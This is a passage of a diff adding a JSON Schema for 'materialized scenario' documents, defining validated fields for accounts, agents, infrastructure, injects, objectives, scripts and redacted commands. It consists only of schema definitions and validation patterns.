{"anyOf":[{"$ref":"#/$defs/RuntimeMailProtocol"},{"$ref":"#/$defs/_r163"}],"default":"other","title":"Protocol"}, + "_r170": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Description","type":"string"}, + "_r171": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Information Ref","type":"string"}, + "_r172": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Latency Profile","type":"string"}, + "_r173": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mount Destination","type":"string"}, + "_r174": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Name","type":"string"}, + "_r175": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Node","type":"string"}, + "_r176": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Path","type":"string"}, + "_r177": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy Revision","type":"string"}, + "_r178": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ref","type":"string"}, + "_r179": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Resource Ref","type":"string"}, + "_r18": {"anyOf":[{"$ref":"#/$defs/RuntimeMailTlsMode"},{"$ref":"#/$defs/_r158"}],"default":"unknown","title":"Tls Mode"}, + "_r180": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Semantic Version","type":"string"}, + "_r181": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Subject Ref","type":"string"}, + "_r182": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target","type":"string"}, + "_r183": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Username","type":"string"}, + "_r184": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Value","type":"string"}, + "_r185": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"type":"string"}, + "_r186": {"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"}}, + "_r19": {"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Sensitivity"}, + "_r2": {"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Refinement Id","type":"string"}, + "_r20": {"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Value Classification"}, + "_r21": {"anyOf":[{"const":""},{"$ref":"#/$defs/_r3"}],"default":"","title":"Name"}, + "_r22": {"anyOf":[{"minimum":1,"type":"integer"},{"type":"null"}],"default":null,"title":"Threshold"}, + "_r23": {"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"integer"},{"type":"number"},{"type":"boolean"}]}, + "_r24": {"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Disclosure Rule"}, + "_r25": {"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Realized Backend Disclosure"}, + "_r26": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Auth Required"}, + "_r27": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Enabled"}, + "_r28": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Loaded"}, + "_r29": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Password Authentication"}, + "_r3": {"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","type":"string"}, + "_r30": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Permit Tty"}, + "_r31": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Pubkey Authentication"}, + "_r32": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Command Redacted"}, + "_r33": {"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Disabled"}, + "_r34": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Doc Count"}, + "_r35": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Gid"}, + "_r36": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Host Port"}, + "_r37": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Port"}, + "_r38": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Size"}, + "_r39": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Status Code"}, + "_r4": {"anyOf":[{"$ref":"#/$defs/DatabaseObjectOrigin"},{"$ref":"#/$defs/_r161"}],"default":"unknown","title":"Origin"}, + "_r40": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Store Size Bytes"}, + "_r41": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Uid"}, + "_r42": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Container Port"}, + "_r43": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}],"title":"Port"}, + "_r44": {"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"}]}, + "_r45": {"const":"reject-unowned-collision","default":"reject-unowned-collision","title":"Conflict Policy","type":"string"}, + "_r46": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:x86_64|aarch64|amd64|x64|x86-64|arm64|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})?$","title":"Architecture","type":"string"}, + "_r47": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Address","type":"string"}, + "_r48": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authorization Ref","type":"string"}, + "_r49": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authorized Keys File","type":"string"}, + "_r5": {"anyOf":[{"$ref":"#/$defs/DnsRecordClass"},{"$ref":"#/$defs/_r154"}],"default":"in","title":"Zone Class"}, + "_r50": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Chroot Directory","type":"string"}, + "_r51": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Command","type":"string"}, + "_r52": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Component Ref","type":"string"}, + "_r53": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Description","type":"string"}, + "_r54": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Destination","type":"string"}, + "_r55": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Digest Algorithm","type":"string"}, + "_r56": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Display Name","type":"string"}, + "_r57": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Domain Ref","type":"string"}, + "_r58": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Format","type":"string"}, + "_r59": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Health","type":"string"}, + "_r6": {"anyOf":[{"$ref":"#/$defs/DnsRecordProvenance"},{"$ref":"#/$defs/_r148"}],"default":"unknown","title":"Provenance"}, + "_r60": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Home","type":"string"}, + "_r61": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Host Ip","type":"string"}, + "_r62": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Image Ref","type":"string"}, + "_r63": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Local User Ref","type":"string"}, + "_r64": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Name","type":"string"}, + "_r65": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Path","type":"string"}, + "_r66": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Process Ref","type":"string"}, + "_r67": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Protocol","type":"string"}, + "_r68": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Revision","type":"string"}, + "_r69": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Role Ref","type":"string"}, + "_r7": {"anyOf":[{"$ref":"#/$defs/GeneratedArtifactValueSource"},{"type":"null"}],"default":null}, + "_r70": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Service","type":"string"}, + "_r71": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Shared Service Relationship Ref","type":"string"}, + "_r72": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Shell","type":"string"}, + "_r73": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Path","type":"string"}, + "_r74": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source","type":"string"}, + "_r75": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Node Ref","type":"string"}, + "_r76": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Ref","type":"string"}, + "_r77": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Service Ref","type":"string"}, + "_r78": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target","type":"string"}, + "_r79": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Uuid","type":"string"}, + "_r8": {"anyOf":[{"$ref":"#/$defs/ObservationLifecycleDecision"},{"type":"null"}],"default":null}, + "_r80": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Value","type":"string"}, + "_r81": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Version","type":"string"}, + "_r82": {"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Working Directory","type":"string"}, + "_r83": {"default":"*","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Version","type":"string"}, + "_r84": {"default":"tcp","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Protocol","type":"string"}, + "_r85": {"default":1,"maximum":1024,"minimum":1,"title":"Max Burst Size","type":"integer"}, + "_r86": {"default":1,"maximum":1024,"minimum":1,"title":"Max In Flight","type":"integer"}, + "_r87": {"enum":["complete","wait"],"title":"Empty Eligible Disposition","type":"string"}, + "_r88": {"enum":["next_opening","skip"],"title":"Outside Window Disposition","type":"string"}, + "_r89": {"if":{"properties":{"command_kind":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["command_kind"]},"then":{"not":{"properties":{"command":{"minLength":1,"type":"string"}},"required":["command"]}}}, + "_r9": {"anyOf":[{"$ref":"#/$defs/RuntimeEnvironmentValueClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Value Classification"}, + "_r90": {"if":{"properties":{"command_redacted":{"anyOf":[{"const":true},{"pattern":"^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$","type":"string"}]}},"required":["command_redacted"]},"then":{"properties":{"command":{"maxLength":0}}}}, + "_r91": {"items":{"$ref":"#/$defs/_r16"},"title":"Auth Mechanisms","type":"array"}, + "_r92": {"items":{"$ref":"#/$defs/_r185"},"maxItems":1024,"minItems":1,"title":"Work Window Refs","type":"array"}, + "_r93": {"items":{"$ref":"#/$defs/_r185"},"maxItems":1024,"title":"Pause Window Refs","type":"array"}, + "_r94": {"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Evidence Requirement Refs","type":"array"}, + "_r95": {"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Observation Boundary Refs","type":"array"}, + "_r96": {"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Readback Assertion Refs","type":"array"}, + "_r97": {"items":{"$ref":"#/$defs/_r185"},"title":"Accept Env","type":"array"}, + "_r98": {"items":{"$ref":"#/$defs/_r185"},"title":"Actions","type":"array"}, + "_r99": {"items":{"$ref":"#/$defs/_r185"},"title":"Add","type":"array"} + }, + "$id": "https://openrae.github.io/rae/schemas/materialized-scenario-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "What one backend materialized; parsing this document grants no authority.", + "properties": {"accounts":{"additionalProperties":{"$ref":"#/$defs/Account"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Accounts","type":"object"},"action_contracts":{"additionalProperties":{"$ref":"#/$defs/ParticipantActionContract"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Action Contracts","type":"object"},"agents":{"additionalProperties":{"$ref":"#/$defs/Agent"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Agents","type":"object"},"assertions":{"additionalProperties":{"$ref":"#/$defs/Assertion"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Assertions","type":"object"},"augmentation_scope":{"anyOf":[{"$ref":"#/$defs/AugmentationScopePolicy"},{"type":"null"}],"default":null,"x-raes-realization-dimension":false},"behavior_specifications":{"additionalProperties":{"$ref":"#/$defs/ParticipantBehaviorSpecification"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Behavior Specifications","type":"object"},"clocks":{"additionalProperties":{"$ref":"#/$defs/Clock"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Clocks","type":"object"},"conditions":{"additionalProperties":{"$ref":"#/$defs/Condition"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Conditions","type":"object"},"content":{"additionalProperties":{"$ref":"#/$defs/Content"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Content","type":"object"},"deployment_cells":{"additionalProperties":{"$ref":"#/$defs/DeploymentCell"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Deployment Cells","type":"object"},"deployment_tenants":{"additionalProperties":{"$ref":"#/$defs/DeploymentTenant"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Deployment Tenants","type":"object"},"description":{"$ref":"#/$defs/_r53"},"entities":{"additionalProperties":{"$ref":"#/$defs/Entity"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Entities","type":"object"},"events":{"additionalProperties":{"$ref":"#/$defs/Event"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Events","type":"object"},"evidence_requirements":{"additionalProperties":{"$ref":"#/$defs/EvidenceRequirement"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Evidence Requirements","type":"object"},"features":{"additionalProperties":{"$ref":"#/$defs/Feature"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Features","type":"object"},"forwarding_agents":{"items":{"allOf":[{"$ref":"#/$defs/RuntimeForwardingAgent"},{"properties":{"forwarding_agent_id":{"$ref":"#/$defs/_r0"}},"type":"object"}]},"title":"Forwarding Agents","type":"array"},"generated_artifacts":{"additionalProperties":{"$ref":"#/$defs/GeneratedArtifact"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Generated Artifacts","type":"object"},"identity_domains":{"additionalProperties":{"$ref":"#/$defs/IdentityDomain"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Identity Domains","type":"object"},"identity_facades":{"additionalProperties":{"$ref":"#/$defs/IdentityFacade"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Identity Facades","type":"object"},"identity_forests":{"additionalProperties":{"$ref":"#/$defs/IdentityForest"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Identity Forests","type":"object"},"infrastructure":{"additionalProperties":{"$ref":"#/$defs/InfraNode"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Infrastructure","type":"object"},"injects":{"additionalProperties":{"$ref":"#/$defs/Inject"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Injects","type":"object"},"materialization_provenance":{"$ref":"#/$defs/MaterializationProvenance","x-raes-realization-dimension":false},"name":{"$ref":"#/$defs/_r1"},"nodes":{"additionalProperties":{"$ref":"#/$defs/Node"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,34}$","type":"string"},"title":"Nodes","type":"object"},"objectives":{"additionalProperties":{"$ref":"#/$defs/Objective"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Objectives","type":"object"},"observation_boundaries":{"additionalProperties":{"$ref":"#/$defs/ParticipantObservationBoundary"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Observation Boundaries","type":"object"},"outcome_interpretation_rules":{"additionalProperties":{"$ref":"#/$defs/OutcomeInterpretationRule"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Outcome Interpretation Rules","type":"object"},"persistent_volumes":{"additionalProperties":{"$ref":"#/$defs/PersistentVolume"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Persistent Volumes","type":"object"},"propositions":{"additionalProperties":{"$ref":"#/$defs/Proposition"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Propositions","type":"object"},"relationships":{"additionalProperties":{"$ref":"#/$defs/Relationship"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Relationships","type":"object"},"scripts":{"additionalProperties":{"$ref":"#/$defs/Script"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Scripts","type":"object"},"semantic_revision":{"anyOf":[{"const":"raes-progressive-semantics/v1","type":"string"},{"type":"null"}],"default":null,"title":"Semantic 